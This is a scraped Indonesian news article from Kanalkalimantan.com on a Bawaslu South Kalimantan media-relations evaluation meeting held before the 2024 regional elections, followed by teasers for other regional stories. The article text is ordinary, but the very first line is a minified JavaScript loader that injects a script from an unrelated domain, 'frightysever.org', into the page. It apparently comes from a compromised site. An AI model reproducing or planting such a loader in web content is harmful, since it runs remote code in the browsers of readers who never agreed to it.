(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan (Kalsel) menggelar rapat evaluasi kehumasan Bawaslu Kabupaten/Kota se Provinsi Kalsel.
Rapat digelar bersama jajaran Humas Bawaslu Kabupaten/Kota, para jurnalis dari perwakilan media cetak, elektronik, online yang ada di Kalsel serta perwakilan pers mahasiswa.
Tema yang diusung Sinergisitas Jajaran Media dan Bawaslu Kalsel Pasca Pemilu Menuju Pemilihan Serentak 2024.
Kegiatan yang berlangsung dari tanggal 24-25 Agustus 2024 di salah satu hotel di Kota Banjarmasin itu menghadirkan sejumlah pembicara yang kompeten di bidangnya.
Baca juga: Moment Jalan Sehat, PPS dan PKD Kolaborasi Tingkatkan Partisipasi Pemilih
Diantaranya Ketua Dewan Pers Ninik Rahayu dengan materi Independensi Pers dan Kode Etik Jurnalistik dalam Pemilihan Serentak 2024.
Kemudian, ada Koordinator Komite Pemilih (Tepi) Indonesia Jerry Sumampouw yang membawakan materi Strategi Mendorong Harmonisasi Bawaslu dengan Kelompok Masyarakat Sipil dalam Pemilihan Serentak 2024.
Sekjen PWI Kalsel Toto Fachrudin membawakan materi Media, Hoaks dan Narasi Politik Pilkada. Lalu ada Kepala Biro Antara Kalsel Taufik Ridwan Sodikin dengan materi Media dalam Menyajikan Informasi Edukasi Kepemiluan. Dan seorang narasumber dari Perwakilan Komisi Penyiaran Indonesia Daerah (KPID) Kalsel.
Baca juga: Jalan Banjarbaru-Batulicin Diresmikan, Waktu Tempuh ke Tanbu Cuma 2,5-3 Jam
Ketua Bawaslu Provinsi Kalsel Aries Mardiono mengatakan, rapat evaluasi sebagai forum membangun komunikasi yang baik dan intensif antara media massa dan Bawaslu pasca Pemilu dan memasuki tahapan Pilkda serentak 2024.
Aries mendorong, media massa di Kalsel dapat berperan aktif mempublikasikan pemberitaan kepada masyarakat terkait Pilkada serentak pada setiap tahapan.
Pada kesempatan itu, Aries juga mengungkapkan bahwa Bawaslu Kalsel tidak anti kritik dan terbuka kepada media massa.
“Kritik buat kami, jangan hanya dikasih gula, sesekali mengkritiklah, mendorong supaya Bawaslu bergerak, merespon setiap peristiwa yang terjadi,” ujarnya saat membuka rapat evaluasi kehumasan, Sabtu (24/8/2024) malam.
Sementara itu, Kordiv Pencegahan, Humas dan Parman Bawaslu Kalsel Thessa Aji Budiani menyampaikan, berdasarkan data Bawaslu RI, Kalsel merupakan salah satu provinsi dengan pemberitaan eksternal terbanyak selama tahapan Pemilu dan Pilpres 2024.
Baca juga: DPR Pastikan PKPU Pilkada Sesuai Putusan MK Sudah Berlaku
Bawaslu mencatat, ada sebanyak 2.055 pemberitaan pada seluruh tahapan Pemilu 2024 di Kalsel yang dipublikasikan oleh media massa. Dan hampir di semua tahapan, Kalsel menduduki peringkat tiga besar pemberitaan eksternal secara nasional.
“Secara kuantitatas berdasarkan data Bawaslu RI, Provinsi Kalsel menduduki peringatan pertama untuk pemberitaan eksternal maupun internal Bawaslu, sehingga kami mengucapkan terima kasih kepada media massa, semoga ini menjadi langkah awal untuk bisa terus bekerja sama dalam menyampaikan pemberitaaan yang positif kepada lapisan masyarakat,” katanya.
(Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More
KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More
This website uses cookies.